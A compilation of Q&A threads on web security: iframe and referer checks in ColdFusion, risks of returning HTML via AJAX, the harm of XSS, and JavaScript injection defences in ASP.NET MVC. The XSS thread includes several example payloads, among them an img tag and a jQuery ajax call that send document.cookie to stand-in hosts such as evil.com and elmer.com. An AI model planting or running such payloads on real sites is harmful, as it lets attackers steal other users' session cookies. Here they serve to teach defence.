We Keep Coding

Getting page location in ColdFusion

When I am using iframes or frames (older sites), as a extra security precaution I use the JavaScript function:
<SCRIPT LANGUAGE="JavaScript1.1">
if (top == self) self.location.href = "../index.cfm";
</SCRIPT>
then another hidden check to see if the page is being called correctly....
<cfif (HTTP_REFERER DOES NOT CONTAIN "referer_page.cfm")
<cfabort>
</cfif>
It works great to keep visitors (hackers?) from opening and/or trying to post to the page.
The problem is that the JavaScript displays in source code and the less they know...
I know the JS is client side but is there anyway to create the function in the server side CF or otherwise hide from prying eyes?
I a running cf9 on my and most of my client sites.
Thank in advance

No, it is not possible for any server side language to tell if the client that requested a page intends on displaying it inside of a frame. The only way to tell that is to ask the browser once your page reaches it.
What's the concern with the Javascript being visible?

There is literally nothing you can do to permanently avoid clients from seeing your source HTML and/or Javascript. Any attempt at security on the client side is in the end futile. You will keep out casual (i.e. non-web developer or programmer) users, but that is all. Anyone with a rudimentary knowledge of HTML and access to Google (or Alta Vista or ask jeeves for that matter) will be able to circumvent your barriers.
The use of HTTP_REFERER is suspect here as well (I know I know... I'm a negative Nellie :). That CGI var is dependent on the browser and web server working together. It will not be reliable overall because it is dependent on the client side. Someone up to no good will have no problem circumventing your barrier by simply constructing requests with the appropriate referrer.
If you want server side security then you are forced to use some form of authentication and session. This is a growing field what with oAuth and the use of Google, FB, Twitter etc as federated authenticaiton services. But plain old usernames and passwords tied to login sessions works too :)

To be clear, #Luke is saying that some users properly using your site, viewing iframe content, may have problems if they have a security setting, like an anonymity program, blocking their data, like cgi variables.
The only real solution is proper authentication and filtering on every page. If a list shows content for a user and loads details into an iframe, the iframe's page must also check that the user has access. At that point, it doesn't matter if they can get at the url.
For instance, if you get a list of user images like this.
<cfquery name="getImageList">
select imageid,imagefilename_mini
from images
where userid = <cfqueryparam value="#session.userid#">
</cfquery>
Which loads an iframe to load full sized images, you still need the and subclause
<cfquery name="getThisImage">
select imagefilename from images
where imageID = ...
and userID = ...
</cfquery>
That way, even if someone changes the image id in the url, it still only lets them see content bound to the userID.
Also, modern browsers make altering the source of a live page all too easy. I don't mean that browsers can alter the server side file, I mean that contents of the DOM as delivered to the browser. It's an incredibly useful tool for developing and debugging, but it does make mischievous/malevolent activity easier.
In chrome and firefox, you can inspect an element, change the attributes and the page will change before your eyes. Here, that works for iframe src's, so it still is within the DOM it expects to be in.
You should regard client side UI as how you'd like the page to be presented, and the way it works best but use server side safeguarding (proper validation) because it's too easy to get around client-controlled data/elements.

Risk in returning HTML content on AJAX call via HTTPS

I wanted to load HTML contents dynamically, such as updating a Bootstrap's modal dialog contents via AJAX call (because refreshing the page and showing the modal again is weird), but before I do that, I want to know what risks that I will need to concern when doing so, and possible solutions.
The main reason to do this is that I'm developing a portlet for Liferay, and I wished to update the content of my portlet dynamically without refreshing the whole page.
Of course I could return data in JSON from my server to client, but I will have to write complex client side logic to update the DOM, which the logic is probably done easier in, say, JSP
Assume the webapp is HTTPS only, not sure if this will help with anything.

Based on the assumption that the webapp is HTTPS only, it would be very good to let all AJAX calls also use that. This will not create a breach of mixing unsecure and secure connections, and the warning dialogs, which browsers give.
The only risk can be caused by cross-site scripting, if parts of the HTML is generated elsewhere or if parts of it is based on unvalidated user input.
Solutions for that is to always validate ans sanitize the input from other sources. More information about this can be found here: https://www.owasp.org/index.php/Data_Validation

Perhaps you chosen the wrong framework for the job and would have consider something like an client side rendering where you would bind json data to the view (eg: angular, ember, backbone or knockout)
Consider using Element.innerText or $(Elm).text() instead of Element.innerHTML or $(elm).html() when possible
Perhaps it will be a good idea to encode everything that a user can change before you save it to the database or when you are rendering the view
However if you do allow some html you would need a sanitize plugin with a witelist approtch to strict the allowed tag & attributes
the only diffrence with http and https is that it will be much harder for a man-in-the-middle attack to read/intercept/change the content of the request & the response

ColdFusion - Detect top window

is there a function in ColdFusion that detects whether or not a browser window is the top window? (Similar to (if (window == window.top)) in JavaScript)
The reason I ask is because I would like to make certain page elements present when the page is directly accessed by the user, and not present if my page is iframed.

CFML code runs on the CF server, whereas any considerations about browser windows obviously run on the client. CF is completely unaware of the UI configuration of the client system, all it sees is "a request". Indeed the requests don't even come from the client, they come from the web server which acts as a go-between for CF-serviced requests: CF has no interaction with the client itself.
The only information the web server gives to CF that in any way relates to the client browser is some of the stuff in the CGI scope, and obviously that's limited. And none of it relates to the configuration of browser windows / iframes.
You will need to solve this with Javascript (which I will add to the tags of your question).
To trigger different code to execute on CF given a certain browsing situation, you are going to need to use Javascript to add some information to the request to identify the situation to CF. This could be adding a parameter on the query string, or something like that.

If someone was 'wrapping' one of my products I'd want to know who and how so I could improve the experience for the user and the site owner. With that in mind, what I would do is automatically break out of any frames by default. I would then create a simple api and provide instructions to other webmasters on the proper way to include your content. Display different content once you've determined if your content is PROPERLY being included in another site. For webmasters that want to include your content:
Provide recommended height/width for the iFrame so you can
include your logo or ads with the content.
Provide anything you want them to include in the query string to help track usage.
You could even add fun stuff to your api to make your content look more integrated into the including website like reacting to url.bgcolor or url.bgimage.
You could go as simple as looking for and recording the value of some url variable like url.remoteSiteAddress or as complicated as registering the site and providing unique key. Of course there are other considerations to take into account to enforce the key. Being that you don't really care that the content is being displayed on a remote site, I suspect just recording a simple url variable is more your speed.

If a different website is putting your page in an iframe on their website, then you could use the CGI.HTTP_REFERRER variable to check if the website domain is yours or not, and load content as desired.

What harm can javascript do?

I just happen to read the joel's blog here...
So for example if you have a web page that says “What is your name?” with an edit box and then submitting that page takes you to another page that says, Hello, Elmer! (assuming the user’s name is Elmer), well, that’s a security vulnerability, because the user could type in all kinds of weird HTML and JavaScript instead of “Elmer” and their weird JavaScript could do narsty things, and now those narsty things appear to come from you, so for example they can read cookies that you put there and forward them on to Dr. Evil’s evil site.
Since javascript runs on client end. All it can access or do is only on the client end.
It can read informations stored in hidden fields and change them.
It can read, write or manipulate cookies...
But I feel, these informations are anyway available to him. (if he is smart enough to pass javascript in a textbox. So we are not empowering him with new information or providing him undue access to our server...
Just curious to know whether I miss something. Can you list the things that a malicious user can do with this security hole.
Edit : Thanks to all for enlightening . As kizzx2 pointed out in one of the comments... I was overlooking the fact that a JavaScript written by User A may get executed in the browser of User B under numerous circumstances, in which case it becomes a great risk.

Cross Site Scripting is a really big issue with javascript injection

It can read, write or manipulate cookies
That's the crucial part. You can steal cookies like this: simply write a script which reads the cookie, and send it to some evil domain using AJAX (with JSONP to overcome the cross domain issues, I think you don't even need to bother with ajax, a simple <img src="http://evil.com/?cookieValue=123"> would suffice) and email yourself the authentication cookie of the poor guy.

I think what Joel is referring to in his article is that the scenario he describes is one which is highly vulnerable to Script Injection attacks, two of the most well known of which are Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).
Since most web sites use cookies as part of their authentication/session management solution, if a malicious user is able to inject malicious script into the page markup that is served to other users, that malicious user can do a whole host of things to the detriment of the other users, such as steal cookies, make transactions on their behalf, replace all of your served content with their own, create forms that imitate your own and post data to their site, etc, etc.

There are answers that explain CSRF and XSS. I'm the one to say that for the particular quoted passage, there is no security threat at all.
That quoted passage is simple enough -- it allows you to execute some JavaScript. Congratulations -- I can do the same with Firebug, which gives me a command line to play with instead of having to fake it using a text box that some Web site gives me and I have to abuse it.
I really think Joel wasn't really sober when writing that. The example was just plain misleading.
Edit some more elaborations:
We should keep several things in mind:
Code cannot do any harm unless executed.
JavaScript can only be executed on client side (Yes there are server-side JavaScript, but apparently not in the context of this question/article)
If the user writes some JavaScript, which then gets executed on his own machine -- where's the harm? There is none, because he can execute JavaScript from Firebug anytime he wants without going through a text box.
Of course there are CSRF, which other people have already explained. The only case where there is a threat is where User A can write some code which gets executed in User B's machine.
Almost all answers that directly answer the question "What harm can JavaScript do?" explain in the direction of CSRF -- which requires User A being able to write code that User B can execute.
So here's a more complete, two part answer:
If we're talking about the quoted passage, the answer is "no harm"
I do not interpret the passage's meaning to mean something like the scenario described above, since it's very obviously talking about a basic "Hello, Elmer world" example. To synthetically induce implicit meanings out of the passage just makes it more misleading.
If we're talking about "What harm can JavaScript do, in general," the answer is related to basic XSS/CSRF
Bonus Here are a couple of more real-life scenarios of how an CSRF (User A writes JavaScript that gets exected on User B's machine) can take place
A Web page takes parameters from GET. An attacker can lure a victim to visit http://foo.com/?send_password_to=malicious.attacker.com
A Web page displays one user's generated content verbatim to other users. An attacker could put something likm this in his Avatar's URL: <script>send_your_secret_cookies_to('http://evil.com')</script> (this needs some tweaking to get pass quoting and etc., but you get the idea)

Cause your browser to sent requests to other services using your authentication details and then send the results back to the attacker.
Show a big picture of a penis instead of your company logo.
Send any personal info or login cookies to a server without your consent.

I would look the wikipedia article on javascript security. It covers a number of vulnerabilities.

If you display data on your page that comes from a user without sanitizing that data first, it's a huge security vulnerability, and here's why:
Imagine that instead of "Hello, Elmer!", that user entered
<script src="http://a-script-from-another-site.js" type="text/javascript"></script>
and you're just displaying that information on a page somewhere without sanitizing it. That user can now do anything he wants to your page without other users coming to that page being aware. They could read the other users' cookie information and send it anywhere they want, they could change your CSS and hide everything on your page and display their own content, they could replace your login form with their own that sends information to any place they wish, etc. The real danger is when other users come to your site after that user. No, they can't do anything directly to your server with JavaScript that they couldn't do anyway, but what they can do is get access to information from other people that visit your site.
If you're saving that information to a database and displaying it, all users who visit that site will be served that content. If it's just content that's coming from a form that isn't actually saved anywhere (submitting a form and you're getting the data from a GET or POST request) then the user could maliciously craft a URL (oursite.com/whatsyourname.php?username=Elmer but instead of Elmer, you put in your JavaScript) to your site that contained JavaScript and trick another user into visiting that link.
For an example with saving information in a database: let's say you have a forum that has a log in form on the front page along with lists of posts and their user names (which you aren't sanitizing). Instead of an actual user name, someone signs up with their user name being a <script> tag. Now they can do anything on your front page that JavaScript will accomplish, and every user that visits your site will be served that bit of JavaScript.

Little example shown to me a while ago during XSS class..
Suppose Elmer is amateur hacker. Instead of writing his name in the box, he types this:
<script>$.ajax("http://elmer.com/save.php?cookie=" + document.cookie);</script>
Now if the server keeps a log of the values written by users and some admin is logging in and viewing those values..... Elmer will get the cookie of that administrator!

Let's say a user would read your sourcecode and make his own tweak of for instance an ajax-call posting unwanted data to your server. Some developers are good at protecting direct userinput, but might not be as careful protecting database calls made from a ajax-call where the dev thinks he has control of all the data that is being sent trough the call.

Questions about Javascript injection

I been reading on asp.net mvc learning site about JavaScript injection and man it is an eye opener.
I never even realized/thought about someone using JavaScript to do some weird ass injection attacks.
It however left me with some unanswered questions.
First
When do you use html.encode? Like do you use it only when you are going to display information that that user or some other user had submitted?
Or do I use it for everything. Like say I have form that a user submits, this information will never be displayed to any of the users, should I be still using html.encode?
How would I do it like I am not sure how to put inside say and Html.TextBox() the html.encode tag.
Second
What happens say I have on my site a rich html editor. The user is allowed to use it and make things bold and whatever. Now I want to display information back to the user through a label. I can't Html.Encode it since then all the bold and stuff will not be rendered.
Yet I can't leave it like it is since what would stop a user to add some Javascript attack?
So what would I do? Use Regex to filter out all tags?
Third
There is also another tag you can use called "AntiforgeryToken" when would you use this one?
Thanks
Edit
Almost everyone says use a "White List" and "Black List" how would I write this list and compare it to incoming values(examples in C# would be nice)?

Good question!
For the first answer, I would consider looking here at a previous asked question. As the answer discusses, using HTML Encode will not protect you completely against all XSS attacks. To help with this, you should consider using the Microsoft Web Protection Library (AntiXSS in particular), available from Microsoft.
As has already been mentioned, using a list of allowed tags is the best thing to do, leaving others to be stripped out.
The AntiforgeryToken token works to prevent request forgery (CSRF) because it gives the user a cookie which is validated against the rendered form field when the page is posted. There's no reason that I am aware of that means that you can't use this in all of your forms.

Use HTML Encode for any data being displayed that has been submitted by a user. You don't need to use it when submitting into the database otherwise you would get odd data like: Simon '&' Sons. Really I don't see the harm to use it on any content written to the page dynamically.
Use a list of allowed tags and discard everything else for your HTML editor. As people said, use a whitelist.
The third one is meant to prevent a Cross-site request forgery attack. You use this to stop people being able to do a POST using a 'stolen' cookie from the user. So you may require a authenticated cookie before accepting a post but a malicious user could take that cookie when a user visits their site and then submit a form to your site claiming to be them.
See here for more:
http://haacked.com/archive/2009/04/02/anatomy-of-csrf-attack.aspx
How to use it:
http://blog.codeville.net/2008/09/01/prevent-cross-site-request-forgery-csrf-using-aspnet-mvcs-antiforgerytoken-helper/

Always validate the input received against a whitelist. If you use a blacklist you could and probably will come up against encoding issues. Always use a whitelist when validating input.
Do not rely on client side validation to validate the user input. Client side validation is great for helping the user input correct data. But a malicious user will not use this and could bypass the client side validation. Client side validate is should never be considered as a security fix. Using javascript to validate input should not be used. As you can see javascript is very easy to change and modify on any html page. Also javascript can be disabled in browser. So give additional check in your code behind file.
Additionally validate the input every time, not just when the data is initially accepted. For example if you set a cookie, make sure that cookie is the same value and it is correct on each and every request. A malicious user could modify and change the value anytime during the session.

There are various levels of security that can be implemented based on the design considerations of your application.
I would go with the following basic rules:
Sanitize all input, removing known malicious sections (for instance, <script> tags in a rich HTML editor). Regex based pattern matching is commonly used for this kind of sanitization.
Remove all input that are not in your white-list of allowed values.
Encode any HTML before storing in the database and Decode it back when it is being retrieved for display.
Edit:#Phoenix talks about validation in this context so I thought I'd add this. I have said this before and I reiterate: I am not against script based validation. I only caution people not to rely on it expressly. A common design pattern is to validate basic criteria using script based validation and apply rigorous validation on the server side when that data is submitted.